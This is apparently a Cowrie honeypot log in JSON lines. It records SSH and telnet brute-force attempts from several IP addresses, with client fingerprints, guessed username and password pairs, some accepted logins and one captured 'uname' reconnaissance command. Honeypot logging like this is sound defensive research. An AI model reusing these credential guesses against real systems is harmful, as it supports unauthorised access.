03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:08.578972Z","src_ip":"199.195.254.215","session":"18c669159ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0314266681671143,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:09.184783Z","src_ip":"64.227.82.147","session":"6a7e2b9aefa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.69395995140076,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:09.241832Z","src_ip":"45.81.23.16","session":"24303b28b961","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.5499746799469,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.078997Z","src_ip":"64.227.82.147","session":"df41f06f965b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"150d13398ee7","protocol":"telnet","message":"New connection: 38.60.198.128:48454 (159.203.135.109:23) [session: 150d13398ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.583384Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40822,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ce1caf7202","protocol":"ssh","message":"New connection: 176.65.132.129:40822 (10.17.0.5:22) [session: 79ce1caf7202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.617057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.625870Z","src_ip":"176.65.132.129","session":"79ce1caf7202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.709375Z","src_ip":"176.65.132.129","session":"79ce1caf7202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.918068Z","src_ip":"199.195.254.215","session":"18c669159ea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:10.956984Z","src_ip":"176.65.132.129","session":"79ce1caf7202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:12.041186Z","src_ip":"176.65.132.129","session":"79ce1caf7202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:12.631051Z","src_ip":"199.195.254.215","session":"18c669159ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2479450702667236,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:12.831219Z","src_ip":"38.60.198.128","session":"150d13398ee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":46050,"dst_ip":"10.17.0.5","dst_port":22,"session":"661eb02719fa","protocol":"ssh","message":"New connection: 199.195.254.215:46050 (10.17.0.5:22) [session: 661eb02719fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:13.264539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:13.272654Z","src_ip":"199.195.254.215","session":"661eb02719fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:13.913077Z","src_ip":"199.195.254.215","session":"661eb02719fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40842,"dst_ip":"10.17.0.5","dst_port":22,"session":"908df1cf5261","protocol":"ssh","message":"New connection: 176.65.132.129:40842 (10.17.0.5:22) [session: 908df1cf5261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:13.957253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:13.965860Z","src_ip":"176.65.132.129","session":"908df1cf5261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:14.048570Z","src_ip":"176.65.132.129","session":"908df1cf5261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:14.294663Z","src_ip":"176.65.132.129","session":"908df1cf5261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:15.379021Z","src_ip":"176.65.132.129","session":"908df1cf5261","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:16.537682Z","src_ip":"199.195.254.215","session":"661eb02719fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:17.209981Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:17.214675Z","src_ip":"199.195.254.215","session":"661eb02719fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43106,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae60a0aa3b9","protocol":"ssh","message":"New connection: 176.65.132.129:43106 (10.17.0.5:22) [session: 3ae60a0aa3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:17.425476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:17.430563Z","src_ip":"176.65.132.129","session":"3ae60a0aa3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:17.514018Z","src_ip":"176.65.132.129","session":"3ae60a0aa3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:17.761333Z","src_ip":"176.65.132.129","session":"3ae60a0aa3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.485111236572266,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:18.044888Z","src_ip":"38.54.119.93","session":"2b6c8ba18e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:18.849844Z","src_ip":"176.65.132.129","session":"3ae60a0aa3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.80630564689636,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:19.117911Z","src_ip":"38.54.119.93","session":"5d54be16e497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":42076,"dst_ip":"159.203.135.109","dst_port":23,"session":"46608efc4fc7","protocol":"telnet","message":"New connection: 64.227.82.147:42076 (159.203.135.109:23) [session: 46608efc4fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:19.192815Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43122,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d23ec771970","protocol":"ssh","message":"New connection: 176.65.132.129:43122 (10.17.0.5:22) [session: 0d23ec771970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:20.779899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:20.784759Z","src_ip":"176.65.132.129","session":"0d23ec771970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:20.866936Z","src_ip":"176.65.132.129","session":"0d23ec771970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:21.114806Z","src_ip":"176.65.132.129","session":"0d23ec771970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:22.206080Z","src_ip":"176.65.132.129","session":"0d23ec771970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.28797245025635,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:23.426874Z","src_ip":"38.60.198.128","session":"3181f238a9e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43136,"dst_ip":"10.17.0.5","dst_port":22,"session":"7406951ded49","protocol":"ssh","message":"New connection: 176.65.132.129:43136 (10.17.0.5:22) [session: 7406951ded49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:24.187478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:24.193036Z","src_ip":"176.65.132.129","session":"7406951ded49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:24.275086Z","src_ip":"176.65.132.129","session":"7406951ded49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:24.757342Z","src_ip":"176.65.132.129","session":"7406951ded49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:25.850376Z","src_ip":"176.65.132.129","session":"7406951ded49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.436909914016724,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:26.629627Z","src_ip":"64.227.82.147","session":"46608efc4fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47734,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd260e03865","protocol":"ssh","message":"New connection: 176.65.132.129:47734 (10.17.0.5:22) [session: 5fd260e03865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:27.703757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:27.708661Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:27.791391Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:28.045705Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:28.290398Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:28.293535Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:28.379026Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
